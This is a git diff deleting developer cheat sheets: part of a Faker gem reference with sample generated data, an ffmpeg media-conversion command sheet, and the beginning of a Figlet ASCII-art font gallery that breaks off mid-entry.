-                                        #=> "California International College"
-```
-
-```ruby
-Faker::Education.degree                 #=> "Bachelor of Science in Political Administration"
-                                        #=> "Doctor of Medicine in Marketing Economics"
-                                        #=> "Bachelor of Music in Marketing Development"
-```
-
-```ruby
-Faker::Education.degree_short           #=> "MD in Industrial Arts"
-                                        #=> "DPhil in Social Management"
-                                        #=> "AB in Political Science"
-```
-
-```ruby
-Faker::Education.major                  #=> "Financial Philosophy"
-                                        #=> "Social Arts"
-                                        #=> "Business Accountancy"
-```
-
-```ruby
-Faker::Education.school_name            #=> "Larkfield"
-                                        #=> "Northshire"
-                                        #=> "Lakepoint"
-```
-
-## Faker::Geolocation
-
-{: .-one-column}
-
-```ruby
-Faker::Geolocation.lat                  #=> 40.89505
-                                        #=> 41.77117
-                                        #=> 41.022921
-```
-
-```ruby
-Faker::Geolocation.lng                  #=> -115.120716573
-                                        #=> -118.427610513239
-                                        #=> -72.204989
-```
-
-## Faker::Internet
-
-{: .-one-column}
-
-```ruby
-Faker::Internet.email                   #=> "dayna@auer.name"
-                                        #=> "joy@nienowbradtke.info"
-                                        #=> "bernhard@wyman.ca"
-```
-
-```ruby
-Faker::Internet.user_name               #=> "emory"
-                                        #=> "janelle_schamberger"
-                                        #=> "brigitte.dooley"
-```
-
-```ruby
-Faker::Internet.domain_name             #=> "langworth.biz"
-                                        #=> "corkery.info"
-                                        #=> "schroeder.uk"
-```
-
-```ruby
-Faker::Internet.disposable_email        #=> "barrett_schroeder@spamherelots.com"
-                                        #=> "nicholaus@suremail.info"
-                                        #=> "gladys@safetymail.info"
-```
-
-```ruby
-Faker::Internet.free_email              #=> "lemuel@yahoo.com"
-                                        #=> "nickolas.gulgowski@gmail.com"
-                                        #=> "isaac_ankunding@gmail.com"
-```
-
-```ruby
-Faker::Internet.domain_word             #=> "purdykutch"
-                                        #=> "sauer"
-                                        #=> "trantowmaggio"
-```
-
-```ruby
-Faker::Internet.domain_suffix           #=> "us"
-                                        #=> "info"
-                                        #=> "biz"
-```
-
-## Faker::Job
-
-{: .-one-column}
-
-```ruby
-Faker::Job.title                        #=> "Future Data Assistant"
-                                        #=> "Product Division Technician"
-                                        #=> "Product Research Developer"
-```
-
-## Faker::Lorem
-
-{: .-one-column}
-
-```ruby
-Faker::Lorem.word                       #=> "sint"
-                                        #=> "sit"
-                                        #=> "omnis"
-```
-
-```ruby
-Faker::Lorem.sentence                   #=> "Expedita et aspernatur eum sit ipsam culpa."
-                                        #=> "Rem sunt voluptatem laborum dolores."
-                                        #=> "Ad explicabo atque culpa."
-```
-
-```ruby
-Faker::Lorem.paragraph                  #=> "Quidem deserunt qui atque labore sunt quis laborum. Et iste
-                                        #    laudantium nobis adipisci delectus. Quod vero repudiandae m
-                                        #    agni repellat totam. Id ullam a aperiam et laboriosam. Volup
-                                        #    tas aut perspiciatis o..."
-                                        #=> "Dolor et quae quisquam placeat. Accusantium quidem totam no
-                                        #    n et deleniti accusamus hic. Iure quidem inventore molestiae
-                                        #    harum magni dolor. Deleniti ex a voluptas nihil temporibus.
-                                        #    "
-                                        #=> "Fugiat sapiente vero voluptatum natus assumenda quam beatae
-                                        #    in. Nemo velit incidunt dolor perspiciatis. Ipsum minima oc
-                                        #    caecati est laudantium ducimus libero. Et fugit et adipisci
-                                        #    molestias. Cupiditate ..."
-```
-
-```ruby
-Faker::Lorem.words(4)                   #=> ["repellat", "quos", "amet", "voluptatem"]
-                                        #=> ["porro", "molestias", "ut", "qui"]
-                                        #=> ["blanditiis", "soluta", "enim", "fugit"]
-```
-
-```ruby
-Faker::Lorem.sentence(5)                #=> "Laborum sint voluptate voluptatem rem doloremque et incidun
-                                        #    t itaque."
-                                        #=> "Autem atque eum laborum alias perspiciatis debitis suscipit
-                                        #    deserunt sint."
-                                        #=> "Quaerat nam consectetur eum dolor deleniti tempore doloremq
-                                        #    ue et aspernatur."
-```
-
-```ruby
-Faker::Lorem.sentences(3)               #=> ["Culpa debitis architecto est.", "Quo et voluptatem distinc
-                                        #    tio repellendus qui cupiditate.", "Quo repellendus ut eius."
-                                        #    ]
-                                        #=> ["Quos nihil dolorem quidem maxime.", "Expedita ab veniam do
-                                        #    lorum at et placeat iure.", "In perspiciatis cupiditate amet
-                                        #    non saepe consequatur molestias minus."]
-                                        #=> ["Quasi velit et voluptas est.", "Dolores ut dolor aut repel
-                                        #    lat fuga minima sed quia.", "Eum id minus atque ex modi."]
-```
-
-```ruby
-Faker::Lorem.paragraphs(3)              #=> ["Iusto mollitia sequi nam perspiciatis fuga aut. Modi moles
-                                        #    tiae consectetur architecto et dolorem aut perferendis. Cumq
-                                        #    ue rerum aliquam sapiente. Dolorum quo reiciendis nemo vero.
-                                        #    Quo earum explicabo pariatur.", "Possimus omnis accusamus f
-                                        #    uga. Harum sint facere sed dolor itaque quia. Ullam optio at
-                                        #    que vel nihil facilis quidem accusantium sint.", "Itaque per
-                                        #    ferendis saepe pariatur maxime expedita laborum qui. Ea nemo
-                                        #    dolor aut. In sed sit minus itaque sit."]
-                                        #=> ["Ducimus non quo qui doloremque aperiam aspernatur. Consequ
-                                        #    atur id qui sit occaecati. Incidunt tempora quia et. Esse vo
-                                        #    luptatem debitis similique ab totam sit. Illo neque vel face
-                                        #    re maxime voluptatum non voluptatem.", "Aut eveniet consequa
-                                        #    tur laudantium veniam qui dolores. Provident pariatur perspi
-                                        #    ciatis id. Eum iste id quasi. Esse nihil quis rerum laudanti
-                                        #    um aliquam molestiae eum tempora.", "Quia porro sint numquam
-                                        #    qui. Ut sint reiciendis quis pariatur veniam nesciunt optio
-                                        #    . Officia unde fugit distinctio dolorem voluptatem incidunt.
-                                        #    Ex omnis sit et non aut."]
-                                        #=> ["Dicta consequatur sapiente saepe fugiat ut. Necessitatibus
-                                        #    enim explicabo qui fugiat occaecati expedita quis. Quo iust
-                                        #    o magnam facere nihil earum.", "In deleniti explicabo veniam
-                                        #    dolorem temporibus enim. Delectus exercitationem ipsum dolo
-                                        #    r modi. Aut quia voluptas velit sint aperiam sed eveniet.",
-                                        #    "Quo doloribus explicabo ut magnam quasi. Voluptatem debitis
-                                        #    quaerat aperiam. Accusantium quis voluptatem dolorem."]
-```
-
-## Faker::HipsterIpsum
-
-{: .-one-column}
-
-```ruby
-Faker::HipsterIpsum.paragraph           #=> "Wayfarers mustache thundercats pitchfork messenger bag high
-                                        #    life. Beard messenger bag wayfarers squid vinyl letterpress
-                                        #    party iphone jean shorts. Lomo irony before they sold out e
-                                        #    thical wayfarers scene..."
-                                        #=> "Tofu stumptown cliche sartorial vhs letterpress keffiyeh wi
-                                        #    lliamsburg. Whatever jean shorts williamsburg lomo salvia fo
-                                        #    od truck 8-bit. Cosby sweater portland artisan wayfarers vhs
-                                        #    photo booth."
-                                        #=> "Skateboard fanny pack wes anderson sartorial cred gluten-fr
-                                        #    ee vinyl marfa locavore. Messenger bag master cleanse mlkshk
-                                        #    vegan thundercats beard wes anderson brunch. Helvetica mess
-                                        #    enger bag lo-fi four l..."
-```
-
-## Faker::HTMLIpsum
-
-{: .-one-column}
-
-```ruby
-Faker::HTMLIpsum.body                   #=> "<h1>Exercitationem et</h1><table><thead><tr><th>Eligendi</t
-                                        #    h><th>Vel</th><th>Sed</th><th>At</th></tr></thead><tbody><tr
-                                        #    ><..."
-                                        #=> "<h1>Excepturi sequi</h1><table><thead><tr><th>Quam</th><th>
-                                        #    Eius</th><th>Quibusdam</th><th>Totam</th></tr></thead><tbody
-                                        #    ><tr>..."
-                                        #=> "<h1>Iusto voluptatem</h1><p>Laborum velit ducimus eius. Mol
-                                        #    estiae id vel ipsam a accusantium et ut. Sunt et fugiat qui
-                                        #    sint ab quia. Eum ut molestiae cumque molestiae error volupt
-                                        #    ates. Ipsum molestiae ..."
-```
-
-```ruby
-Faker::HTMLIpsum.table                  #=> "<table><thead><tr><th>Voluptatem</th><th>Porro</th><th>Tene
-                                        #    tur</th><th>Facilis</th></tr></thead><tbody><tr><td>Numquam<
-                                        #    /t..."
-                                        #=> "<table><thead><tr><th>Impedit</th><th>Voluptatem</th><th>Qu
-                                        #    i</th><th>Est</th></tr></thead><tbody><tr><td>Nihil</td>..."
-                                        #=> "<table><thead><tr><th>Iste</th><th>Et</th><th>Sequi</th><th
-                                        #    >Et</th></tr></thead><tbody><tr><td>Blanditiis</td>..."
-```
-
-```ruby
-Faker::HTMLIpsum.fancy_string           #=> "<a href=\"#distinctio\" title=\"Tenetur explicabo\">Velit e
-                                        #    st</a> <code>aperiam reiciendis</code> Consectetur aut hic e
-                                        #    um quisquam. Dolore aut rerum dolor accusantium ab repellend
-                                        #    us magni. Deserunt optio o..."
-                                        #=> "Et vel similique ullam accusantium laboriosam. Sit ut ea to
-                                        #    tam. Iusto praesentium ut molestiae. Voluptatem laudantium a
-                                        #    ut qui adipisci. Est saepe repellendus qui blanditiis volupt
-                                        #    ates sed odit ullam. <..."
-                                        #=> "Neque et omnis ipsam ad culpa maiores inventore. Laborum cu
-                                        #    m est fugit libero repellendus vero. Modi pariatur sunt tene
-                                        #    tur soluta inventore ratione. Iste consequuntur quia omnis n
-                                        #    umquam excepturi quod ..."
-```
-
-## Faker::Name
-
-{: .-one-column}
-
-```ruby
-Faker::Name.name                        #=> "Trevion Herman V"
-                                        #=> "Aracely Balistreri"
-                                        #=> "Daphnee Terry Sr."
-```
-
-```ruby
-Faker::Name.first_name                  #=> "Aliza"
-                                        #=> "Joseph"
-                                        #=> "Orland"
-```
-
-```ruby
-Faker::Name.last_name                   #=> "Hand"
-                                        #=> "Macejkovic"
-                                        #=> "Heller"
-```
-
-```ruby
-Faker::Name.prefix                      #=> "Dr."
-                                        #=> "Ms."
-                                        #=> "Mr."
-```
-
-```ruby
-Faker::Name.suffix                      #=> "I"
-                                        #=> "III"
-                                        #=> "DDS"
-```
-
-## Faker::PhoneNumber
-
-{: .-one-column}
-
-```ruby
-Faker::PhoneNumber.phone_number         #=> "335-364-4549 x430"
-                                        #=> "040-278-4021 x753"
-                                        #=> "420.645.4382"
-```
-
-```ruby
-Faker::PhoneNumber.short_phone_number   #=> "473-412-3192"
-                                        #=> "353-084-1297"
-                                        #=> "080-546-2356"
-```
-
-## Faker::Product
-
-{: .-one-column}
-
-```ruby
-Faker::Product.brand                    #=> "Trouffeforge"
-                                        #=> "VIG"
-                                        #=> "NDZ"
-```
-
-```ruby
-Faker::Product.product_name             #=> "Air HD Viewer"
-                                        #=> "HD Kit"
-                                        #=> "Air HD Bridge"
-```
-
-```ruby
-Faker::Product.product                  #=> "Amnix Air HD Tuner"
-                                        #=> "Panapod Audible Filter"
-                                        #=> "Phuffe Disc Receiver"
-```
-
-```ruby
-Faker::Product.model                    #=> "I-422"
-                                        #=> "J89"
-                                        #=> "L6"
-```
-
-## Faker::NameCN
-
-{: .-one-column}
-
-```ruby
-Faker::NameCN.name                      #=> "姵书虞"
-                                        #=> "修男嵇"
-                                        #=> "瑜人军"
-```
-
-```ruby
-Faker::NameCN.last_first                #=> "向坚舜"
-                                        #=> "疏骏哲"
-                                        #=> "秘合雪"
-```
-
-```ruby
-Faker::NameCN.first_name                #=> "佑淑"
-                                        #=> "燕谦"
-                                        #=> "重生"
-```
-
-```ruby
-Faker::NameCN.last_name                 #=> "释"
-                                        #=> "巩"
-                                        #=> "麻"
-```
-
-## Faker::NameDE
-
-{: .-one-column}
-
-```ruby
-Faker::NameDE.name                      #=> "Noelle Schuster"
-                                        #=> "Bendix Schmid"
-                                        #=> "Azra Neumann"
-```
-
-```ruby
-Faker::NameDE.first_name                #=> "Victoria"
-                                        #=> "Lotta"
-                                        #=> "Mads"
-```
-
-```ruby
-Faker::NameDE.last_name                 #=> "Martin"
-                                        #=> "Klein"
-                                        #=> "Walter"
-```
-
-```ruby
-Faker::NameDE.prefix                    #=> "Frau"
-                                        #=> "Prof."
-                                        #=> "Prof."
-```
-
-## Faker::NameJA
-
-{: .-one-column}
-
-```ruby
-Faker::NameJA.name                      #=> "飛鳥田部"
-                                        #=> "未杉浦"
-                                        #=> "功本間"
-```
-
-```ruby
-Faker::NameJA.last_first                #=> "青木杏子"
-                                        #=> "棚原大貴"
-                                        #=> "知名翔"
-```
-
-```ruby
-Faker::NameJA.first_name                #=> "巴"
-                                        #=> "浩子"
-                                        #=> "沙耶"
-```
-
-```ruby
-Faker::NameJA.last_name                 #=> "小栗"
-                                        #=> "高江洲"
-                                        #=> "友寄"
-```
-
-## Faker::NameRU
-
-{: .-one-column}
-
-```ruby
-Faker::NameRU.name                      #=> "Стелла Карнилина"
-                                        #=> "Евгения Мазовская"
-                                        #=> "Кузьма Ваиренко"
-```
-
-```ruby
-Faker::NameRU.last_name                 #=> "Манишева"
-                                        #=> "Тюлева"
-                                        #=> "Понченко"
-```
-
-```ruby
-Faker::NameRU.first_name                #=> "Артур"
-                                        #=> "Руслана"
-                                        #=> "Зинаида"
-```
-
-```ruby
-Faker::NameRU.patronymic                #=> "Мечеславович"
-                                        #=> "Ионович"
-                                        #=> "Исаевич"
-```
-
-```ruby
-Faker::NameRU.name(:male)               #=> "Слежиков Роман Всеволодович"
-                                        #=> "Осип Мугрузин"
-                                        #=> "Джиджаев Гавриил Леванович"
-```
-
-```ruby
-Faker::NameRU.name(:female)             #=> "Зиядтдинова Полина Людвиговна"
-                                        #=> "Андреева Тереза Арсеновна"
-                                        #=> "Дарина Минхазова"
-```
-
-## Faker::NameSN
-
-{: .-one-column}
-
-```ruby
-Faker::NameSN.name_sn                   #=> "mame Djaly Mbodj"
-                                        #=> "Hatab Samy"
-                                        #=> "Niouma Dramé"
-```
-
-```ruby
-Faker::NameSN.name_male                 #=> "serigne Yakou Diagne"
-                                        #=> "serigne Sécouba Diagne"
-                                        #=> "Sihalébé Badji"
-```
-
-```ruby
-Faker::NameSN.name_female               #=> "Thiomba Niang"
-                                        #=> "adjaratou Kiné Panduppy"
-                                        #=> "Nini Gakou"
-```
-
-```ruby
-Faker::NameSN.first_name_male           #=> "Khoudia"
-                                        #=> "Sanokho"
-                                        #=> "Diomaye"
-```
-
-```ruby
-Faker::NameSN.first_name_female         #=> "Assa"
-                                        #=> "Sahaba"
-                                        #=> "Manthita"
-```
-
-```ruby
-Faker::NameSN.prefix_male               #=> "eladji"
-                                        #=> "eladji"
-                                        #=> "serigne"
-```
-
-```ruby
-Faker::NameSN.prefix_female             #=> "adjaratou"
-                                        #=> "adja"
-                                        #=> "adja"
-```
-
-## Faker::PhoneNumberAU
-
-{: .-one-column}
-
-```ruby
-Faker::PhoneNumberAU.phone_number       #=> "0495 539 191"
-                                        #=> "(05) 6838 2406"
-                                        #=> "0496 013 652"
-```
-
-## Faker::PhoneNumberSN
-
-{: .-one-column}
-
-```ruby
-Faker::PhoneNumberSN.phone_number       #=> "77-356-93-09"
-                                        #=> "33-891-67-75"
-                                        #=> "33-886-02-02"
-```
diff --git a/docs/content/cheat-sheets/ffmpeg.md b/docs/content/cheat-sheets/ffmpeg.md
deleted file mode 100644
index 30db48ab6a..0000000000
--- a/docs/content/cheat-sheets/ffmpeg.md
+++ /dev/null
@@ -1,65 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# To print file metadata:
-
-ffmpeg -i <file>
-
-# To convert all m4a files to mp3
-
-for f in \*.m4a; do ffmpeg -i "$f" -acodec libmp3lame -vn -b:a 320k "${f%.m4a}.mp3"; done
-
-# To convert video from .foo to .bar
-
-# -g : GOP, for searchability
-
-ffmpeg -i input.foo -vcodec bar -acodec baz -b:v 21000k -b:a 320k -g 150 -threads 4 output.bar
-
-# To convert image sequence to video:
-
-ffmpeg -r 18 -pattern_type glob -i '\*.png' -b:v 21000k -s hd1080 -vcodec vp9 -an -pix_fmt yuv420p -deinterlace output.ext
-
-# To combine video and audio into one file
-
-ffmpeg -i video.ext -i audio.ext -c:v copy -c:a copy output.ext
-
-# To add ass subtitle to the video
-
-ffmpeg -i input_video.mp4 -vf ass=sub.ass output_video_subtitles.mp4
-
-# To convert webm to mp4
-
-ffmpeg -i input_video.webm output_video.mp4
-
-# To convert mp4 to mov
-
-ffmpeg -i input_video.mp4 -acodec copy -vcodec copy -f mov output_video.mov
-
-# To convert mov to mp4
-
-ffmpeg -i input_video.mov -vcodec copy -acodec copy output_video.mp4
-
-# Listen to 10 seconds of audio from a video file
-
-#
-
-# -ss : start time
-
-# -t : seconds to cut
-
-# -autoexit : closes ffplay as soon as the audio finishes
-
-ffmpeg -ss 00:34:24.85 -t 10 -i path/to/file.mp4 -f mp3 pipe:play | ffplay -i pipe:play -autoexit
diff --git a/docs/content/cheat-sheets/figlet.md b/docs/content/cheat-sheets/figlet.md
deleted file mode 100644
index 1f57e6219b..0000000000
--- a/docs/content/cheat-sheets/figlet.md
+++ /dev/null
@@ -1,2623 +0,0 @@
----
-title: Figlet
-
-introduction: |
-    [Figlet] renders text as ASCII art. Here's a list of Figlet fonts for Figlet 2.2.5.
-    [Figlet]: http://www.figlet.org/
-
-# Generated using this script:
-#
-# #!/usr/bin/env bash
-# do_figlet() {
-#   name=$1
-#   echo "### $name"
-#   echo ""
-#   echo "\`\`\`"
-#
-#   echo Hamburger | figlet -f $name -w 2000
-#
-#   echo "\`\`\`"
-#   echo "{: .-figlet}"
-#   echo ""
-# }
-#
-# echo "## Figlet fonts"
-# echo ""
-#
-# for fn in /usr/local/share/figlet/fonts/*.flf; do
-#   name=$(basename ${fn%.flf})
-#   do_figlet $name
-# done
-#
-# echo ""
-# echo "## Toilet fonts"
-# echo ""
-#
-# for fn in /usr/local/share/figlet/*.tlf; do
-#   name=$(basename ${fn%.tlf})
-#   do_figlet $name
-# done
----
-
-### Usage
-
-```bash
-echo "Hamburger" | figlet -f cybermedium
-```
-
-```
-_  _ ____ _  _ ___  _  _ ____ ____ ____ ____
-|__| |__| |\/| |__] |  | |__/ | __ |___ |__/
-|  | |  | |  | |__] |__| |  \ |__] |___ |  \
-```
-
-{: .-figlet}
-
-Run `figlet` with `-f <font>` to use a font.
-
-### Toilet fonts
-
-```bash
-echo "Hello" | \
-  figlet -f smmono12 -d /usr/local/share/figlet
-```
-
-Figlet comes with support for Toilet fonts, which are in `{share}/figlet`. This is not the default font dir, so you'll have to use `-d <path>` to access it.
-
-## Rico's favorites
-
-### wideterm
-
-```
-Ｈａｍｂｕｒｇｅｒ
-```
-
-{: .-figlet}
-
-### stampatello
-
-```
-,-_/,.           .
-' |_|/ ,-. ,-,-. |-. . . ,-. ,-. ,-. ,-.
- /| |  ,-| | | | | | | | |   | | |-' |
- `' `' `-^ ' ' ' ^-' `-^ '   `-| `-' '
-                              ,|
-                              `'
-```
-
-{: .-figlet}
-
-### cybermedium
-
-```
-_  _ ____ _  _ ___  _  _ ____ ____ ____ ____
-|__| |__| |\/| |__] |  | |__/ | __ |___ |__/
-|  | |  | |  | |__] |__| |  \ |__] |___ |  \
-```
-
-{: .-figlet}
-
-### cyberlarge
-
-```
- _     _ _______ _______ ______  _     _  ______  ______ _______  ______
- |_____| |_____| |  |  | |_____] |     | |_____/ |  ____ |______ |_____/
- |     | |     | |  |  | |_____] |_____| |    \_ |_____| |______ |    \_
-```
-
-{: .-figlet}
-
-### thin
-
-```
-|   |          |
-|---|,---.,-.-.|---..   .,---.,---.,---.,---.
-|   |,---|| | ||   ||   ||    |   ||---'|
-`   '`---^` ' '`---'`---'`    `---|`---'`
-                              `---'
-```
-
-{: .-figlet}
-
-### smbraille
-
-```
- ⣇⣸ ⢀⣀ ⣀⣀  ⣇⡀ ⡀⢀ ⡀⣀ ⢀⡀ ⢀⡀ ⡀⣀
- ⠇⠸ ⠣⠼ ⠇⠇⠇ ⠧⠜ ⠣⠼ ⠏  ⣑⡺ ⠣⠭ ⠏
-```
-
-{: .-figlet}
-
-### rectangles
-
-```
- _____           _
-|  |  |___ _____| |_ _ _ ___ ___ ___ ___
-|     | .'|     | . | | |  _| . | -_|  _|
-|__|__|__,|_|_|_|___|___|_| |_  |___|_|
-                            |___|
-```
-
-{: .-figlet}
-
-### bell
-
-```
- __  __                  _
- |   |    ___  , _ , _   \ ___  ,   . .___    ___.   ___  .___
- |___|   /   ` |' `|' `. |/   \ |   | /   \ .'   ` .'   ` /   \
- |   |  |    | |   |   | |    ` |   | |   ' |    | |----' |   '
- /   /  `.__/| /   '   / `___,' `._/| /      `---| `.___, /
-                                             \___/
-```
-
-{: .-figlet}
-
-## Figlet fonts
-
-### 3-d
-
-```
- **      **                       **
-/**     /**                      /**                      *****
-/**     /**  ******   ********** /**      **   ** ****** **///**  *****  ******
-/********** //////** //**//**//**/****** /**  /**//**//*/**  /** **///**//**//*
-/**//////**  *******  /** /** /**/**///**/**  /** /** / //******/******* /** /
-/**     /** **////**  /** /** /**/**  /**/**  /** /**    /////**/**////  /**
-/**     /**//******** *** /** /**/****** //******/***     ***** //******/***
-//      //  //////// ///  //  // /////    ////// ///     /////   ////// ///
-```
-
-{: .-figlet}
-
-### 3x5
-
-```
-# #         #
-# #  ## ### ### # # ### ### ### ###
-### # # ### # # # # #   # # ##  #
-# # ### # # ### ### #    ## ### #
-# #                     ###
-```
-
-{: .-figlet}
-
-### 5lineoblique
-
-```
-    //    / /
-   //___ / /  ___      _   __     / __               __      ___      ___      __
-  / ___   / //   ) ) // ) )  ) ) //   ) ) //   / / //  ) ) //   ) ) //___) ) //  ) )
- //    / / //   / / // / /  / / //   / / //   / / //      ((___/ / //       //
-//    / / ((___( ( // / /  / / ((___/ / ((___( ( //        //__   ((____   //
-```
-
-{: .-figlet}
-
-### acrobatic
-
-```
-  o         o                                  o
- <|>       <|>                                <|>
- < >       < >                                / >
-  |         |      o__ __o/  \o__ __o__ __o   \o__ __o      o       o   \o__ __o     o__ __o/    o__  __o   \o__ __o
-  o__/_ _\__o     /v     |    |     |     |>   |     v\    <|>     <|>   |     |>   /v     |    /v      |>   |     |>
-  |         |    />     / \  / \   / \   / \  / \     <\   < >     < >  / \   < >  />     / \  />      //   / \   < >
- <o>       <o>   \      \o/  \o/   \o/   \o/  \o/      /    |       |   \o/        \      \o/  \o    o/     \o/
-  |         |     o      |    |     |     |    |      o     o       o    |          o      |    v\  /v __o   |
- / \       / \    <\__  / \  / \   / \   / \  / \  __/>     <\__ __/>   / \         <\__  < >    <\/> __/>  / \
-                                                                                           |
-                                                                                   o__     o
-                                                                                   <\__ __/>
-```
-
-{: .-figlet}
-
-### alligator
-
-```
-      :::    :::    :::      :::   :::  ::::::::: :::    ::::::::::::  :::::::: :::::::::::::::::::
-     :+:    :+:  :+: :+:   :+:+: :+:+: :+:    :+::+:    :+::+:    :+::+:    :+::+:       :+:    :+:
-    +:+    +:+ +:+   +:+ +:+ +:+:+ +:++:+    +:++:+    +:++:+    +:++:+       +:+       +:+    +:+
-   +#++:++#+++#++:++#++:+#+  +:+  +#++#++:++#+ +#+    +:++#++:++#: :#:       +#++:++#  +#++:++#:
-  +#+    +#++#+     +#++#+       +#++#+    +#++#+    +#++#+    +#++#+   +#+#+#+       +#+    +#+
- #+#    #+##+#     #+##+#       #+##+#    #+##+#    #+##+#    #+##+#    #+##+#       #+#    #+#
-###    ######     ######       ############  ######## ###    ### ######## #############    ###
-```
-
-{: .-figlet}
-
-### alligator2
-
-```
-:::    :::    :::    ::::    :::: ::::::::: :::    ::::::::::::  :::::::: :::::::::::::::::::
-:+:    :+:  :+: :+:  +:+:+: :+:+:+:+:    :+::+:    :+::+:    :+::+:    :+::+:       :+:    :+:
-+:+    +:+ +:+   +:+ +:+ +:+:+ +:++:+    +:++:+    +:++:+    +:++:+       +:+       +:+    +:+
-+#++:++#+++#++:++#++:+#+  +:+  +#++#++:++#+ +#+    +:++#++:++#: :#:       +#++:++#  +#++:++#:
-+#+    +#++#+     +#++#+       +#++#+    +#++#+    +#++#+    +#++#+   +#+#+#+       +#+    +#+
-#+#    #+##+#     #+##+#       #+##+#    #+##+#    #+##+#    #+##+#    #+##+#       #+#    #+#
-###    ######     ######       ############  ######## ###    ### ######## #############    ###
-```
-
-{: .-figlet}
-
-### alphabet
-
-```
-H  H           b
-H  H           b
-HHHH  aa mmmm  bbb  u  u rrr ggg eee rrr
-H  H a a m m m b  b u  u r   g g e e r
-H  H aaa m m m bbb   uuu r   ggg ee  r
-                               g
-                             ggg
-```
-
-{: .-figlet}
-
-### avatar
-
-```
- _     ____  _      ____  _     ____  _____ _____ ____
-/ \ /|/  _ \/ \__/|/  _ \/ \ /\/  __\/  __//  __//  __\
-| |_||| / \|| |\/||| | //| | |||  \/|| |  _|  \  |  \/|
-| | ||| |-||| |  ||| |_\\| \_/||    /| |_//|  /_ |    /
-\_/ \|\_/ \|\_/  \|\____/\____/\_/\_\\____\\____\\_/\_\
-```
-
-{: .-figlet}
-
-### banner
-
-```
-#     #
-#     #   ##   #    # #####  #    # #####   ####  ###### #####
-#     #  #  #  ##  ## #    # #    # #    # #    # #      #    #
-####### #    # # ## # #####  #    # #    # #      #####  #    #
-#     # ###### #    # #    # #    # #####  #  ### #      #####
-#     # #    # #    # #    # #    # #   #  #    # #      #   #
-#     # #    # #    # #####   ####  #    #  ####  ###### #    #
-```
-
-{: .-figlet}
-
-### banner3-D
-
-```
-'##::::'##::::'###::::'##::::'##:'########::'##::::'##:'########:::'######:::'########:'########::
- ##:::: ##:::'## ##::: ###::'###: ##.... ##: ##:::: ##: ##.... ##:'##... ##:: ##.....:: ##.... ##:
- ##:::: ##::'##:. ##:: ####'####: ##:::: ##: ##:::: ##: ##:::: ##: ##:::..::: ##::::::: ##:::: ##:
- #########:'##:::. ##: ## ### ##: ########:: ##:::: ##: ########:: ##::'####: ######::: ########::
- ##.... ##: #########: ##. #: ##: ##.... ##: ##:::: ##: ##.. ##::: ##::: ##:: ##...:::: ##.. ##:::
- ##:::: ##: ##.... ##: ##:.:: ##: ##:::: ##: ##:::: ##: ##::. ##:: ##::: ##:: ##::::::: ##::. ##::
- ##:::: ##: ##:::: ##: ##:::: ##: ########::. #######:: ##:::. ##:. ######::: ########: ##:::. ##:
-..:::::..::..:::::..::..:::::..::........::::.......:::..:::::..:::......::::........::..:::::..::
-```
-
-{: .-figlet}
-
-### banner3
-
-```
-##     ##    ###    ##     ## ########  ##     ## ########   ######   ######## ########
-##     ##   ## ##   ###   ### ##     ## ##     ## ##     ## ##    ##  ##       ##     ##
-##     ##  ##   ##  #### #### ##     ## ##     ## ##     ## ##        ##       ##     ##
-######### ##     ## ## ### ## ########  ##     ## ########  ##   #### ######   ########
-##     ## ######### ##     ## ##     ## ##     ## ##   ##   ##    ##  ##       ##   ##
-##     ## ##     ## ##     ## ##     ## ##     ## ##    ##  ##    ##  ##       ##    ##
-##     ## ##     ## ##     ## ########   #######  ##     ##  ######   ######## ##     ##
-```
-
-{: .-figlet}
-
-### banner4
-
-```
-.##.....##....###....##.....##.########..##.....##.########...######...########.########.
-.##.....##...##.##...###...###.##.....##.##.....##.##.....##.##....##..##.......##.....##
-.##.....##..##...##..####.####.##.....##.##.....##.##.....##.##........##.......##.....##
-.#########.##.....##.##.###.##.########..##.....##.########..##...####.######...########.
-.##.....##.#########.##.....##.##.....##.##.....##.##...##...##....##..##.......##...##..
-.##.....##.##.....##.##.....##.##.....##.##.....##.##....##..##....##..##.......##....##.
-.##.....##.##.....##.##.....##.########...#######..##.....##..######...########.##.....##
-```
-
-{: .-figlet}
-
-### barbwire
-
-```
-><<     ><<                       ><<
-><<     ><<                       ><<
-><<     ><<   ><<    ><<< ><< ><< ><<      ><<  ><<>< ><<<   ><<      ><<    >< ><<<
-><<<<<< ><< ><<  ><<  ><<  ><  ><<><< ><<  ><<  ><< ><<    ><<  ><< ><   ><<  ><<
-><<     ><<><<   ><<  ><<  ><  ><<><<   ><<><<  ><< ><<   ><<   ><<><<<<< ><< ><<
-><<     ><<><<   ><<  ><<  ><  ><<><<   ><<><<  ><< ><<    ><<  ><<><         ><<
-><<     ><<  ><< ><<<><<<  ><  ><<><< ><<    ><<><<><<<        ><<   ><<<<   ><<<
-                                                            ><<
-```
-
-{: .-figlet}
-
-### basic
-
-```
-db   db  .d8b.  .88b  d88. d8888b. db    db d8888b.  d888b  d88888b d8888b.
-88   88 d8' `8b 88'YbdP`88 88  `8D 88    88 88  `8D 88' Y8b 88'     88  `8D
-88ooo88 88ooo88 88  88  88 88oooY' 88    88 88oobY' 88      88ooooo 88oobY'
-88~~~88 88~~~88 88  88  88 88~~~b. 88    88 88`8b   88  ooo 88~~~~~ 88`8b
-88   88 88   88 88  88  88 88   8D 88b  d88 88 `88. 88. ~8~ 88.     88 `88.
-YP   YP YP   YP YP  YP  YP Y8888P' ~Y8888P' 88   YD  Y888P  Y88888P 88   YD
-```
-
-{: .-figlet}
-
-### bell
-
-```
- __  __                  _
- |   |    ___  , _ , _   \ ___  ,   . .___    ___.   ___  .___
- |___|   /   ` |' `|' `. |/   \ |   | /   \ .'   ` .'   ` /   \
- |   |  |    | |   |   | |    ` |   | |   ' |    | |----' |   '
- /   /  `.__/| /   '   / `___,' `._/| /      `---| `.___, /
-                                             \___/
-```
-
-{: .-figlet}
-
-### big
-
-```
- _    _                 _
-| |  | |               | |
-| |__| | __ _ _ __ ___ | |__  _   _ _ __ __ _  ___ _ __
-|  __  |/ _` | '_ ` _ \| '_ \| | | | '__/ _` |/ _ \ '__|
-| |  | | (_| | | | | | | |_) | |_| | | | (_| |  __/ |
-|_|  |_|\__,_|_| |_| |_|_.__/ \__,_|_|  \__, |\___|_|
-                                         __/ |
-                                        |___/
-```
-
-{: .-figlet}
-
-### bigchief
-
-```
-_____________________________________________________________
-    _     _
